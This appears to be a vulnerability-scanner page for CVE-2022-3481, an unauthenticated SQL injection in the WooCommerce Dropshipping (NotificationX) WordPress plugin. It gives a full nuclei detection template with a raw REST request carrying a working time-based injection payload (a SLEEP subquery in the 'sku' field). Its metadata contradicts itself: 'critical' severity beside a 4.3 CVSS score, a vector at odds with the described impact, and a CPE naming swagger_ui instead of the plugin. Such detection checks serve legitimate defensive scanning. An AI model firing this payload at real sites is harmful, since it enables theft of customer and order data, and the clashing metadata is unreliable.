NotificationX Dropshipping < 4.4 - SQL Injection

criticalseverity

4.3CVSS score

5.3%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via a REST endpoint available to unauthenticated users, leading to a SQL injection

Impact

Unauthenticated attackers can exploit time-based SQL injection through the REST endpoint to extract sensitive WooCommerce data including customer information, order details, and payment records.

Fix

Update NotificationX Dropshipping plugin to version 4.4 or later that properly sanitizes and escapes parameters in REST endpoints.

How to confirm it

Send: @timeout: 30s
Positive when: duration>=7 and status_code == 200 and contains(content_type, "application/json") and contains_all(body, "code\":", "message\":\"Product", "status\":400")

Run it with nuclei: nuclei -id CVE-2022-3481 -u <target>

The full check

id: CVE-2022-3481

info:
  name: NotificationX Dropshipping < 4.4 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    The plugin does not properly sanitise and escape a parameter before using it in a SQL statement via a REST endpoint available to unauthenticated users, leading to a SQL injection
  impact: |
    Unauthenticated attackers can exploit time-based SQL injection through the REST endpoint to extract sensitive WooCommerce data including customer information, order details, and payment records.
  remediation: |
    Update NotificationX Dropshipping plugin to version 4.4 or later that properly sanitizes and escapes parameters in REST endpoints.
  reference:
    - https://wpscan.com/vulnerability/c5e395f8-257e-49eb-afbd-9c1e26045373
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3481
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2022-3481
    cwe-id: CWE-20
    epss-score: 0.05296
    epss-percentile: 0.92646
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="/wp-content/plugins/woocommerce-dropshipping"
  tags: cve,cve2022,wordpress,wp-plugin,wp,sqli,woocommerce,notificationx,vkev,vuln

http:
  - raw:
      - |
        @timeout: 30s
        POST /wp-json/woo-aliexpress/v1/product-sku HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"sku":"a\" AND (SELECT 42 FROM (SELECT(SLEEP(7)))wlHd)-- pOeU"}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "code\":", "message\":\"Product", "status\":400")'
        condition: and

References

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